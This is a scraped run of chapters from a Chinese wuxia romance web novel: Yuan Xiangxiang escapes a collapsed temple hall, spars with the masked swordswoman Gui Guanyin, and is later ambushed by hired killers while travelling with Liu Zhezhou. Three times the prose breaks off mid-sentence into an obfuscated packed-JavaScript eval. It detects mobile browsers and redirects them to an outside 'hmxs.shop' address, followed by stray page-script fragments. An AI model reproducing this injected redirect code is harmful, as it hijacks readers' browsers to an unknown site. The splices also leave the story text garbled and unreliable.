霎时间,红色的血雾从鬼观音的心口处爆出,疯狂弥漫,将那二人的身躯的逐渐包裹。 原湘湘看得心惊胆颤,她剧烈地颤抖着,果断一跃而起,持刀飞上! “咳!”她飞身而上 ,一股闷痛袭向胸口,紧接着整个人就被打飞了出来,直到就地滚了两圈才堪堪停止。 玄女殿的摇晃愈加剧烈,红雾涌动着,仿佛一颗活着的茧一般将鬼观音与玄空二人生生包裹起来。 随后一阵摇晃,整个玄女殿开始坍塌,原湘湘不得不寻个较为安全的地方躲起来,直到坍塌停止,玄女像所在之处已经变成一片废墟,而将鬼观音和玄空紧紧包裹的血茧也被深深掩埋在废墟之下。 她茫然地坐在角落里,脚边是孤零零躺在地上的雁栖,她双手拢着单薄的肩膀,眼睛里充满了无法言说的空洞。 你能保护谁?她扪心自问。 你谁都保护不了。 当年就只有你自己一人苟活了下来而已。 就只有你一人活下来了而已。 原湘湘,你真自私。 明明可以陪着大家一起去死,非要自己一个人活下来。 要自己一个人活下来。 自己一个人活下来。 “那你还会来见我吗?” 往昔的记忆再次浮现,一个干瘪瘦弱的小女孩瞪着圆溜溜的大眼睛问。 因为太瘦,她的眼睛深深凹陷在眼眶里,有种诡异的美。 残阳如血,黄昏将人的影子拉得极长。 她的破衣烂衫都被血迹浸透,散发着腥臭,脸上满是灰尘,细细的小手里捧着一串漂亮的碧玉手串。 “你要活下来等我,那时,我们有缘自会再见。”对面那个白衣似雪的美丽的人将她搂在怀中,轻轻安慰道。 “好!”又脏又破的小女孩开怀一笑,显然她把一切都当了真,她将那手串宝物似的捧在手心里。 她从没见过这样美的一个人,就好像神话传说里的九天仙女下凡一般。 就是这个仙女手持利剑,将她从尸山血海里拎了出来。 原湘湘忽然惊醒。 对啊,我答应了她的,我要好好活下去,我想和她再见面。 她突然疯了似的爬向坍塌的玄女像。 方才宝殿坍塌时,她持刀上去欲就鬼观音,却不料鬼观音一手弹开了她。 就在原湘湘刚落地不久,宝殿顶部就在一阵地动山摇里塌陷,不多时,就将鬼观音与玄空二人生生埋进了废墟里。 “你在哪儿?”原湘湘冲上前去,她跪在一片狼藉面前,两手不住地往外扒拉着,“我来救你了,我就是来找你的。” 废墟之上压着一半巨大的玄女半身像,使得原湘湘的行动受阻。 她果断挥刀而起,那半截美丽的玄女像便化为碎片。 雁栖,虽是一把短刀,但也有切金断玉之能。 很快,她就在那方废墟里扒出来了一具干枯的尸体。不必多说,自然是已经被吸干的玄空。 她的手刚好扯过玄空大师的尸体,残破的指尖流出的道道血迹印在干枯的皮肤上。 原湘湘骤然停住了动作。 玄空大师的尸体已经变得如同枯木一般腐朽,整个人便是骨架上裹着一层浅浅的皮,两个巨大的凹陷的眼瞳正好望着原湘湘。 她忽然想起了鬼观音之前说过的话:“你可知,外面都说我是无恶不作的魔头,杀人饮血的妖女。” 她怔怔看着玄空大师那干瘪的尸体,喉间不禁微微咽下几口干唾。 23.头硬如铁湘湘炽烈告白(下) 耳边轰鸣作响,鼻中腥臭刺鼻,四周昏暗不堪,废墟成片。 本该在奋力救人的原湘湘却忽然停住了动作,她的手还埋在废墟里,被划破的指尖和手掌涌出炽热的疼痛。 可这一切都在那一瞬间消失不见。 她不由得咽下几口干唾。 颈间传来一股冰凉的触觉,就像蛇一般悄悄攀附在她的皮肤之上,又向鱼儿一般,轻轻触碰着她的脖颈,指尖似有所去地轻轻抚弄着她的衣领。 很快,冰凉的触碰就消失不见,可她背后的威压却越来越沉重。 原湘湘清楚地感觉到有一个人慢慢地朝自己俯身而来。 残破的玄女殿中唯有数点灯火还在,殿中昏昏暗暗,她看不清,也不敢看。 只能根据越来越近的冰凉气息来判断那个人的位置——离她越来越近。 紧随其后的,是一股淡淡的好闻的香气涌入她的鼻腔。 原湘湘的心神忽然安定下来。 那一瞬间她只想骂自己说:原湘湘,你没救了,你这辈子都完了。 那个人就在她的身侧,就在她的身后,原湘湘不敢回头,那个人便俯身下来,染血的白衣如同落雪一般,慢慢落下又遮盖住原湘湘的衣摆。 随后,几缕黑发从原湘湘的肩头滑落到她的胸前垂着。 原湘湘知道,那绝不是自己的头发,她的头发绝不会像这般柔顺长直。 那个人从她的后方俯身而来,那颗日思夜想的头颅此刻正轻轻触碰着自己的肩头,那双把自己从血海里捞出来的手正慢慢点着自己的脖颈。 原湘湘忽地闭上了眼睛。 耳畔传开似有若无地轻笑,鬼观音道:“外面都说我是吃人饮血的妖女,你就不怕我杀了你,喝光你的血?” 原湘湘正色道:“你若想杀我早就可以杀了,也不必大费周章地救我。更何况……” 她喉间一硬,眼中涌出酸涩,垂下的睫羽之上坠了点点水光。 “更何况?”鬼观音往前倾身,她离得更近了,原湘湘能感觉到那冰凉呼吸落在自己的颈间,仿佛她已经露出了獠牙,随时准备一口咬断自己的脖颈。 “更何况——我知道你不是他们口中所说的妖女。” 鬼观音往前的动作倏忽停止,她缓缓张开的口,又悄无声息地闭上。 “若我说就是呢?” “你不是。”原湘湘斩钉截铁。 “你到底从哪儿来?为什么要缠着我?”鬼观音厉声问道,她的一根手指抵在了原湘湘的脖子上,那层细白的皮肤下包裹着心脏泵出血液的力度。 细长的利爪轻轻地刺着她的肌肤。 原湘湘顿时倒吸一口凉气。 她痛,不是因为鬼观音手指下劲儿痛,而是鬼观音反复盘问自己来历,认不出自己又不相信自己才痛。 “我从来处来。”原湘湘忽然抬手握住了鬼观音的那一指。 真凉啊。那一瞬间,她如是想道。 “你……”鬼观音似乎没料到这个姑娘竟如此大胆,她竟显露了些许慌乱来。 鬼观音快速抽身离去,原湘湘只觉身边一空,那股好闻的香气转瞬消失不见,仿佛一切又成为泡影,扑了个空。 她一时着急,也赶忙起身,抓住鬼观音的手便道:“你认不出我也没事,我发誓,我对你没有别的意思,我只是来找你的,我只是想留在你身边,我只是想和你在一起!” 说完,她自己都吓了一跳。 心脏隆隆作响,手里还紧握着一段冰凉,意识到自己说了什么话之后,她赶忙松开了手,低下了头。 一切都是我想要的,从没有考虑到别人的想法。 前方传来细细簌簌的碎响,鬼观音快速戴上幕篱,理好衣裳,转身就走。 原湘湘也紧跟着她。 她没说不能跟着那就是默认能跟着她。原湘湘色胆壮人心,这回,她能肯定鬼观音不会对她做什么事情。 正如多年前一般,鬼观音就是鬼观音。 虽然此前阆天塔倒塌造成暗室的倒塌,但毕竟是已经燃烧过的木塔,倒塌时的冲击力自然比不上砖石塔,她们潜行在尚还完整的地道之中,不多时,就来到了一扇石门面前。 鬼观音停住脚步,长袖拂过,剑光闪动,眼前的石门轰然倒塌。 这石门她竟然轻轻一剑就砍碎了?原湘湘在旁边看得目瞪口呆。 石门一破,干净清新的空气涌入,远方山峦起伏,圆月倚山西沉。 鬼观音先行一步出去,她道:“此处乃是奉国寺后山缘觉崖,少有人来,你从此处便可回到寺中。” “你又要去哪里?”原湘湘眉头紧皱。 鬼观音闻声不答,寒风吹动她的面纱,好看的下颌映着月光好似一根涤荡着波光的银线。 原湘湘向前一步站到鬼观音的面前,她清晰地看见鬼观音胸前的衣衫还是湿透的,心口那块的血迹不断地蔓延,像朵朵极致绽放的艳花。 她似乎并没有像传言中的那般,只靠喝血就能恢复伤口。 “你受伤了,我身上带的有药。”原湘湘赶忙取下自己的布包,“你快把衣服脱了,我帮你包扎。” 原湘湘记得还和铁匠师父住在一起时,每次只要受伤,但凡流出一滴血,她的铁匠师父都能鬼哭狼嚎一整天。 “湘湘,你懂不懂活着的重要性!”那个胡子拉碴的男人轻轻提着她的耳朵,扯着嗓子大吼一声。 这个时候,原湘湘一般只会等他吼完,然后面无表情地掏掏耳朵。 她手忙脚乱地取出药物和白布便要上前,却不料鬼观音径直后退,一手还紧紧护住胸口。 “我……姐姐不要怕,”她退她就进,“我不是男的。” 鬼观音偏过头去,将身体护地更紧了:“我不是什么姐姐。” 她看似隐忍羞赧的轻轻一句,却如同千斤巨石一般砸在了原湘湘的身上。 原湘湘低着头,细白的手指紧紧攥着药瓶和白布,两手就像失去控制一般,扑棱着,愣是半天也装不进去。 鬼观音见状,忽然将孤鸿插进身旁的石块中,慢慢问道:“我听说,你想拜我为师。” 不是反问不是疑问,而是质问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708606|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?原湘湘心虚地点点头。 “那好,”鬼观音长腿飞出,孤鸿顿时从石中飘到半空,“接住它。” 事情转变得太快,原湘湘一时之间还愣在原地没反应过来:“什么?把孤鸿给我的意思吗?可我要孤鸿有什么用?” 正在她心中快速思绪时,鬼观音已经翩然而至,冷风混杂着血气腥气一齐涌进原湘湘的鼻腔中。 “你既然不要孤鸿,那就不要怪我毫不留情了!” 原湘湘对面正是那个一身白衣的人,她带着白幕篱,看不见面容。 鬼观音轻轻一滑,一掌祭出,掌风暴戾,似乎带着千钧之力,原湘湘条件反射般地侧身躲过,继而长鞭蛇形飞出,“咻咻”两声,如同张开巨口地巨蟒朝着鬼观音飞扑而去! 可下一瞬,只见鬼观音长手在半空中虚划两圈,她的食中两指间便已夹着鞭梢。 原湘湘旋身运力后扯,竟然分毫不动!那一招竟是未触及鬼观音衣袂半分! 只此一招……原湘湘心惊:就落得个完败,那她此前和玄空方丈对战时,为何一招也不出? “掏出你的刀来,让我见识见识!”言罢,她松开血藤鞭,踏步飞来! 原湘湘被她猛地一松,身体站立不稳连连后退,可还不待她站稳,一阵冷风掠过鼻尖,孤鸿剑光已至。 “铮!”锐响之后,火花四射。 雁栖出鞘,刀身横亘在前,竟将削铁如泥的孤鸿生生阻拦在外。 二人齐齐运劲,刀身与剑刃相触,谁都不愿退让分毫,尖锐刺耳的金铁相接之声不绝于耳。 鬼观音瞧着,似乎心下大动,她又一次问道:“你到底从何处来?” “我为自己而来!”原湘湘银牙紧咬,动上全力,而那剑刃仍是一分未动。 鬼观音又问:“你所求为何?” “为我自己。”她的额间沁出冷汗,她实在无法想象一个已经身受重伤之人,究竟如何而来的风轻云淡? 这个人的武功到底到了何种地步? 面纱下的鬼观音轻轻一笑,她稍一用力,向右一撇,便将原湘湘连人带刀拂到了一边。 “如此。”鬼观音轻笑道。 即便满身血污,身负重伤,那人依旧长身玉立,白衣飘飘,似画中仙,遗世独立。 原湘湘趴在地上,面色惨白,眼中充满不甘,还有多余的其他什么情绪。 她忽然握紧了双拳。 她的眼前缓缓现出一阵荡漾着的裙摆来,而后那裙摆便如同潮水般铺开在她眼前,不多时,原湘湘就感觉自己头顶上压来一处暗影。 鬼观音俯身望着她。 “我……”原湘湘开口要解释一番,可是脖间一阵痛感袭来,她登时就失去了意识。 原湘湘昏迷后,鬼观音依旧在原地许久不曾动过半分。直到月色即将彻底消散时,那抹白色似乎也化作天上的星子,融入了飘渺的夜色里,须臾间消失在了高远的天幕之外。 倒在地上昏迷不醒的原湘湘身上盖着一件极长的染血白衣,那滴滴血迹,好似迎风绽放的红梅一般刺目耀眼。 24.护崽公鸡阴魂不散 “湘湘姑娘,湘湘……湘湘姑娘!你醒啦!” 耳旁有断断续续的喊声,原湘湘感觉就像院子里的护崽母鸡一样追着她跑一样,没完没了。 “湘湘姑娘!” 她刚刚睁开眼,便听见那人一声笑,似乎喜极。 沉重的眼皮刚刚打开,刺眼的日光便让她不得不闭上眼睛。 原湘湘拧着眉头习惯性地缩了回去,盖在她身上的是一件宽大厚实的月白色毛皮大氅,上面绣着银丝竹丛。 人刚缩进去,清淡好闻的香气混杂着药的苦味就涌进了她的鼻腔。 原湘湘猛然惊醒,爬起来就问对面那个人:“你来时看到谁了吗?” 柳折舟脑袋一偏,一脸茫然,而后他用扇子轻轻点了点原湘湘:“就是湘湘姑娘你呀。你一个人浑身是血的躺在这里,真是给我吓一跳。都怪他们不听我的话,我就说湘湘姑娘肯定与众不同大难不死……” “你怎么知道我在这里?” “实不相瞒,那晚上我见山上起火也怕的不得了,我想上来可也知道像我这种不懂武功的人了也是送死,后来我就躲在下面,一直躲在下面,直到天亮后才出来。” “你不怕我半途死掉?” “我知湘湘姑娘吉人自有天相,绝对不会——” 他的话未说完,就被原湘湘打断:“我们走吧。” 柳折舟点头。 原湘湘也觉得讶异,也不知为何,只要一见他,她的心中就五味杂陈,嗓子眼被什么死死堵住。 他半蹲下身,背对着原湘湘,朝她伸出双手道:“湘湘姑娘,我背着你走吧。” 原湘湘没理他,将大氅搭在柳折舟的手中,她就要起身,可不料刚一站起,两腿一软,差点直接摔在地上。 因为柳折舟刚好递过来一只手,将她拦胸捞住,原湘湘此刻就挂在柳折舟的胳膊上。 此前一直不得分心,尚不觉得疼痛难忍,可现在忽然迈步时,浑身如剥皮碾肉一般,火烧火燎的割痛,她嘴角下沉,面色惨白。 她一抬头,就看见柳折舟那张脸,不知为何,心里蓦然生出几分莫名的惧意来。 柳折舟不笑的时候,当真是寒涧生花,浑身上下似乎都冒着白白的冷气。 “湘湘姑娘,我观你全身经脉受损严重,虽然像是有人已经为你治过的样子,但最好还是不要太心急,近来要静养。” 原湘湘语调一冷,颇有些赌气的意思,道:“你怎么知道?” 柳折舟伸出另一手的之间擦擦鼻梁,眼珠游移不看她,道:“久病成医嘛,而且我来时你身上还披着一件极为漂亮的白衣,我猜想应该就是那位——” 柳折舟忽然缄口不言。 原湘湘将他上下扫了两眼,一直盯着他直到不说话。 许是原湘湘的眼神太过直接,柳折舟被她盯得有些不自在,便道:“此前湘湘姑娘照顾我,现在就让我来照顾湘湘姑娘。” 不待原湘湘反驳,也不知他到底哪里来的力气,三两下就将原湘湘滑到了背上,双手握拳,将她稳稳托住。 “湘湘姑娘将衣服披在身上,免得着凉。” “噢。”原湘湘不自觉地移开目光,脸颊泛起阵阵暖意。 还是面有表情时的柳折舟比较好看。 那件对襟大氅就飘飘然落在了原湘湘的身上,不仅遮住了原湘湘,也把柳折舟遮了一半。 此时,山间日头已高,但依旧寒冷。远望而去,零落山中的松柏上还残留着碎雪。 原湘湘回头看了看那扇被鬼观音一剑破开的石门,问道:“你怎么知道我在这里的?” 这地道和玄女殿相连,一同建在阆天塔之下,直通后山缘觉崖。 原湘湘不觉得除了奉国寺以外的人还能有谁会想到这里,而且她不觉得柳折舟会轻而易举说实话,因此,便要再问一次。 “说来惭愧。”柳折舟笑道,“也不瞒湘湘姑娘你,我已经找了你三天了。得知湘湘姑娘跳进阆天塔后,我就想着,无论如何,生要见人死要见尸。我这条命是湘湘姑娘给的,自然是你去哪里我就去哪里。” 原湘湘面色一滞,忽然间浑身紧绷,她很不好意思地缩了缩身子,又把手从柳折舟的脖子两边收回。 “别乱说话。” “好~” 柳折舟回头看了一眼背上的人,便放慢了脚步,将下山之路走得更缓更沉。 他走路稳当,身体温暖,原湘湘不禁又生出了些困意,迷迷糊糊间听到柳折舟沉声叮嘱着:“身体发肤受之父母。” “……好~” 那声音确如天际落下的雨滴,沉沉敲落在她的心间,叮咚作响,萦绕不散。 柳折舟听见身后人极为疲惫的声音,笑着摇摇头,便又小心翼翼步步往前。 二月二十四,天晴光霁,万物始发,春意融融。 顺着西厢左手边第一间客房向右走,穿过数个栏杆回廊,入眼便是一扇圆拱小门。进了门,稍行数十步,近东北方一处小间便是原湘湘的住处。 廊檐下一丛迎春叶片繁茂,迎着春光,青翠欲滴。藤蔓间间或几颗明黄花骨朵,熠熠闪光。视线稍移,可见一位白衣男子与一位粉衫女子正立在廊下,似是交谈甚欢。 “这些日子,有劳玉莲姑娘了。”柳折舟轻声浅笑,朝着那粉衫女子拱手施了一礼。 “不必客气。”方玉莲面带羞色,连连道,“倒是柳公子考虑得周到,原姑娘今日这遍药换过以后,是不是就不需要我帮忙了?” 方玉莲纤指轻掩面,长眸含情脉脉地望向柳折舟,似是有所期待但又暗含些许失落。 “湘……师妹说今日后,她便可自行换药。”柳折舟手中的白纸扇霎时翻了个转,他悠悠道,“师妹她也要我向你道谢。” “无妨,能帮得上忙,我很开心。”方玉莲强自弯起嘴角,微微浅笑:“柳公子,其他各派业已陆续离去,我们……今日下午便要走了……” “一路保重。”柳折舟正色道,“他日若有缘,定会再见。” “……好,公子也保重。”她的声息极其清浅,几乎细不可闻。 方玉莲是在二楼饭堂里遇到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716115|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳折舟,即便当时二楼人多口杂,但她仍旧在人群中一眼瞥见这个白衣公子。似乎柳折舟只是往那儿稍稍一站,便是一副绝世好画,举手投足皆是风姿不凡。 后来见柳折舟为原湘湘解围,她满心失落;又见柳折舟中毒昏倒,她满心担忧,幸而无事。为原湘湘换药,倒是阴差阳错托了此前受伤的福,否则今日她也没有机会站在这里和柳折舟交谈。 她尚在药庐养伤,十日前,看见柳折舟匆匆忙来到药庐与药庐僧人交谈。侧耳细听原是在询问治疗外伤的膏药,师妹受了重伤,但又苦于自己是个男子……多方不便。 至此,方玉莲便从药庐里面出来,主动请缨道:“公子若是不介意,就让我去帮个忙吧。” 方玉莲只记得当时柳折舟满面欢喜,连连朝她拜谢:“有劳姑娘了,在下感激不尽!” 而如今她说要告别,这人竟然毫不挽留,就连道别的话也说的客气而疏离,望见此番情状,说不难受失落,都是假的。 峨嵋派其实并无规定弟子不可与男子接触,可这般空落落的心情,她多少都是有些介怀的。 人家说是师兄妹,师兄妹之间如何呢?方玉莲心中叹道:他是真的不懂还是假装不懂…… 送别峨嵋派的方玉莲后,柳折舟三步并作两步进了原湘湘的屋子,慌忙关上门,便倚门背上轻舒一口气,原本紧凑的五官也登时恢复了原状。 此前,原湘湘坐在床边,隔着棱窗,一直在看着他们。 “哎,湘湘姑娘。”柳折舟又匆忙饮下几口水,便道:“还好你好得快,我真的很不擅长和姑娘家打交道。” 原湘湘依旧面无表情看着他。 见原湘湘没应答,似乎是意识到自己刚刚说错了什么话,他赶忙解释道:“也不是这个意思,是因为方姑娘……我总觉得站在她身边自己会喘不过来气。” 原湘湘的头稍稍偏了一下,仍旧是面无表情地盯着他。 柳折舟一怔,见她还是不言不语,心下不仅思量着自己究竟又做什么事情惹得姑娘家不开心……可来来回回也没想出个所以然,最后只得作罢。 “咳,湘湘姑娘,你我也算相识多日,共患难的好朋友嘛~有话不妨直说。”他战战兢兢地放下水杯,不觉间那一只握着扇子的手已慢慢收紧。 “钱。”原湘湘道。 柳折舟一愣,吃惊不小,收拢的手指猛然放开。 原湘湘补充道,“欠我十九两,如今事情已了结,我要走了。” 说罢,原湘湘便又径直躺倒在床上,规规整整地盖着被子,好似棺木里的一具死尸,还是死不瞑目的那种。 柳折舟听完一怔,哭笑不得:她竟然还记得这茬。 不过,走……可没那么容易。 他又将这里仔细扫视了个遍,余光再次落在床头小桌上整整齐齐地摆放着一根灰白色的鞭子,还有一把玄青刀鞘的短刀。 原湘湘跟着他,见他的目光在此处游移片刻。 不多时,柳折舟便望向原湘湘,欣然道:“我也要走了,姑娘不妨捎我一程吧。” 25.连夜赶路遇追杀,湘湘挺身而出 山中风起,月出夜寒。 在靠近东边厢房大门的一间客房里,门窗紧闭,屋内燃着三四支蜡烛,将人影拉在墙壁上,扭扭曲曲变了形。 王岳生正端坐在书桌前愁眉苦脸地思索着什么。手中提着一只竹杆毛笔,面前摆放着一沓宣州纸。宣州是中州中东部一处,此处尤以造纸工艺闻名于世,不少还都是皇宫贡品。 昏黄的烛火映照整间客房,烛光照不进的角落,暗影丛生。他思索片刻,方又重新蘸了墨,手腕轻摇,洋洋洒洒地写了下来。 不多时,门外响起了一阵不急不徐的敲门声。紧接着便有人道:“王岛主,我们几时出发?” 王岳生头也不抬地说道:“亥时三刻便走。” “是。”门外的人答道。 现在正是戌时,离他们预定离开的时间还远,他有足够的时间写完这封信。只是,第一张纸写到一半时,王岳生便又皱起了眉头,两片褐红色的嘴唇一开一合,似是在琢磨着遣词造句。 很快他又再次提起了笔,这一次中间并未停顿,当他落下最后一笔时,眉头反倒皱的更紧更深了。 他将信折好放进信封,又遣了一名弟子寄信,方又落座。 亥时离开,是不打算与护国寺辞行的。他亦在心中盘算着:不仅此行无所获,甚至差点丢了命,护国寺处处遮掩,显然是在隐瞒什么……堂堂中州三大派之一,行事难以令人信服。它护国寺不将天浮岛放在眼里,我天浮岛也不必继续礼让。 天浮岛是中州大地海滨的一处小岛,曾经隶属于前朝。虽说面积不大,但此岛地理位置极佳。前朝覆灭后,它与新朝的关系十分微妙,但却与远在中州之东的东濑国关系紧密。 天浮岛也是此岛上唯一的武学门派,曾经与中州武林联系颇多,但自前朝后期时,天浮岛便与中州武林疏远不少。 近三十年来,它与东濑国交际甚近,并且越发不掩饰对中州武林的野心。 王岳生为此任天浮岛主,此番前来中州,不仅仅是为了在试剑大会上一展风采。只是未料到事情突变,不仅孤鸿被夺,而且差点丧了命。 “都是她。”他暴露在烛火里的半张脸,阴鸷恶毒。 “你过来。”王岳生沉声唤道。 很快,便从门后的阴影里走出一个窄袖衣衫的年轻人,细长眉眼,宽肩窄腰,如劲风寒树,甚是清冷。 此人正是李源知。 ———— “哎,湘湘姑娘,你这是要去哪里?”柳折舟虽然背着一个锦布包袱吭吭哧哧地跟在原湘湘身后,但兴致昂扬,不亦说乎。 原湘湘蓦然回头,发丝迎风微动,夕阳的余晖融进那双眼睛里,倒让她的脸此刻显出些许娇柔可爱。 “回家。” 柳折舟一怔,大概是没料到居然是这个答案。他忙忙上前问道:“姑娘这就回家了?” “嗯。”说罢,原湘湘转身便走,一刻也不曾停留,并没有要等着柳折舟的意思。 “湘湘姑娘你还没问我要去哪儿呢?”他在后面朝着原湘湘的背影高喊。 原湘湘回身,无奈叹道:“你要去哪儿?” 他慌忙踩上那几十块青石板台阶,直至到了原湘湘身旁,才气喘吁吁道:“你去哪儿……我就去哪儿。” 原湘湘:“……” 回程之路并未比想象之中快出多少,反倒慢了不少。柳折舟经常一副气虚体浮的样子,自不必说;原湘湘虽说皮肉伤居多,她此前又失血过多,脚程也自是比不上来时。 夜晚,这二人眼见下山不能,便寻了一处开阔地,生起了火堆,准备在此度过一夜。 此处正处半山腰,地势较为平坦开阔,周围草木生发,生意盎然。一堆明火在黑夜里极为醒目,四周天幕高远,唯独一轮孤月高悬空中,清辉倾泻而下。 柳折舟裹着一件白袍子,端坐在一节枯木上,好似一只恰巧停落山间休息的白鹤,收羽叠翅,沐光浴风,安静寂然。 原湘湘虽然只顾扒拉着柴火堆,但眼睛也没少偷瞄柳折舟。她心里门儿清,但又纠结的不得了,索性就想着快快离开这个是非之地,下了山就扔掉这个柳折舟。 兴许这样……心中就不在莫名悸动了。 “湘湘姑娘……” 不知何时,柳折舟忽然也来到火堆旁,一股香气便飞雪一般冲进她的脑袋里。 她怔怔瞪着那张脸,离得那么近,跃动的火焰映得那张脸径直在原湘湘的胸膛里打鼓,火堆里的木柴噼啪炸响,止收不住。 原湘湘双目微张,身体不住地往后偏,她突然觉得自己往火堆里放的柴太多了,火烧得她的脸快脱了层皮。 说来也怪,柳折舟在那边枯木上坐得好端端的,突然来到火堆前,开口便唤人,随后便没有后话了。 原湘湘悄悄往旁边移了一小步,因为蹲缩在地上,让她的下巴收在衣领中,衬得嘴巴也撅得能挂个油壶,火焰在她一眨不眨地眼睛里跃动不止。 许是被她盯得发慌,柳折舟一副犹犹豫豫,欲言又止的样子。她越是看,柳折舟越是说不出;而他越是说不出,原湘湘就越是看。 如此这般,这二人竟然一起蹲在火堆旁,大眼对小眼。他们相视对峙,愣是半天一个声儿也不出,只有木柴燃烧的哔剥作响在他们滚烫的脸颊上跳跃。 远处有草丛枝叶晃动的轻微声响。 ----------------- 柳折舟自己也觉得有些奇怪。他开始饶有兴味地仔细打量起原湘湘的长相来:虽说此前早就注意到这个额发略长的姑娘长得精致耐看,可今日细细看时,才发现她的眼睛瞳色很特别。 如同锋利无比的刀刃一般的颜色。 原湘湘面无表情时,睁着的那双眼睛让他联想到山中野兽的目光。只是,野兽凶狠残暴,他眼前的这个人带着不好言说的冷漠。 许是被他看得发慌,原湘湘终于败下阵来。她撇过脸,正欲起身走到一边去,却突然被柳折舟一声惊呼扑到在地。 “湘湘姑娘,小心!” 原湘湘立刻惊住,只见一只白羽箭径直没入火堆,刚刚若不是柳折舟扑开她,否则她早就一头栽倒在火堆里当场火化了。 只是…… 她面色大变,望向一脸惊吓的柳折舟,还未缓过神来,又一支箭矢朝她飞来! “你先走!” 原湘湘一手抽出腰间短刀将那箭矢横空斩断,另一手一把捞起地上的柳折舟,扔抹布似的将他扔向另一边,喝道:“你走,我稍后就到。” 说罢,便纵身跃入黑暗中,循着箭矢射来的方向飞奔过去。 她心中很是不解:当日所中之毒也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718801|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基本清除,虽说内力没有完全恢复,可也不至于……是柳折舟率先发现的危险。 原湘湘手持短刀背倚树干而立,凝身细听周围的动静,心下也在不住地思索:可他确实毫无内力。 可当下并无多少时间给她胡思乱想,她悄悄俯身观察四周形势之时,耳边却传来柳折舟的呼喊声。 “你们是谁?从哪里来的?怎么这般蛮横无理不讲道义?” 原湘湘:“!” 几乎就在呼救声传到她耳畔的同时,原湘湘就已从原地腾空跃起,几个纵跃起伏之间她就已然到了刚刚推开柳折舟的树丛后。 她本就清瘦,藏身在数尺高的树丛里自然毫不费力,但还未思索出那个暗中射箭的人在何处,她就已然看见柳折舟被五花大绑,面前三个黑衣大汉将他围得严严实实。 原湘湘正在思考如何上去救人时,想到柳折舟一直形迹可疑,便打算暂时按兵不动。 只见那几人将柳折舟的锦布包袱扯开,又把里面翻了个底朝天,里面各种日常衣物散落一地。 “小子,你出门都不带钱的?”其中一个持刀大汉质问:“我们兄弟几个接了这个单子,在这山头等了你们几天!”说罢便一拳砸向柳折舟的胸口。 他本就是高挑细瘦,看起来又文弱不堪,被这壮汉一拳砸向心口,当即倒地不起,呼呼地大口喘着气,吐出几大口黑血。 那持刀大汉突然来了兴致,他蹲下身来,将柳折舟全身上下扫视个遍。 “大哥,咱们还是拿了钱直接走吧。”旁边一个稍矮的男人谨慎提醒道,“我总觉得这个单子后面深得很。” 这个矮个子的直觉很准。 昨日他们哥几个正喝着酒,忽然来了个陌生男子,说要雇他们杀个人。 那个瘦高的陌生男子提着一个足足装着三百两的袋子扔在他们吃酒的桌子上。 兄弟几个登时眼睛便移不开那钱袋子。 有买卖不做是傻。 他们当即接了这个单子,可当他们在山上等了一天终于见到来人时,只是个文弱公子和一个姑娘。 心中虽有疑虑,但终究还是拿钱办事。 “不急。”那个持刀大汉扔了手中刀,嘴角扬起不怀好意的笑容,眼神几乎要将柳折舟全身舔个遍。 他轻声问道:“你,碰过女人吗?” 此话一出,周围二人竟然都捂着嘴“嗤嗤”笑起来。 “我见你用度皆是不凡,想必也是个富贵人家。”那大汉逐渐笑起来,可那笑容却犹如毒蛇般阴暗狠毒:“要杀的只有那个姑娘。至于你,应该也还有别的用处。” “大哥,他就算想……恐怕也没姑娘愿意吧,哈哈,瘦得跟竹竿子没什么区别。” “而且比人家姑娘长得还要白。”另一人补充道。 这兄弟三人只顾着拿着柳折舟打趣,口气相当猥琐下流,却丝毫没注意到躺在地上的柳折舟双手逐渐收紧,眉头紧锁,一张如玉似画的脸全部隐没在黑暗中,隐隐似有怒气欲喷薄而出。 “来,哥几个让你看看真正的道义……” 那个带头大哥说着,一双粗拳就要砸向柳折舟,可还未触及衣摆半分,他的声音与动作便停在了半空,紧接着便有红色血液顺着脖颈而下,滴滴落在土里。 “大哥!!”身旁两人失声叫道。 26.花前月下春风满城 月色如银。 红色的血,蛇一般的蜿蜒而下,而后便又“嗒嗒”落地,没入黑色的土里,转瞬不见。 那两个人见一支灰白色的长鞭紧紧缠住了他们大哥的脖颈,并且鞭子越收越紧,那大汉上一刻还想抬手挣脱这根鞭子,下一刻便面色紫黑,很快就断了气。 她本来是打算藏在暗处的。 “你!”旁边二人顺着鞭子望过去,只见一身红衣的少女笔直的站在数丈之外,可那眼神却刀刃般锐利无比,直剜人心。 那二人提刀便朝着原湘湘砍过来,虽然出招毫无章法,但速度和力度确实不容小觑。原湘湘见势手中长鞭轻抖,体内内力涌出,将所有的力量压于双腿,飞鸟一般从原地跃空腾起,转瞬便落在柳折舟的身旁。 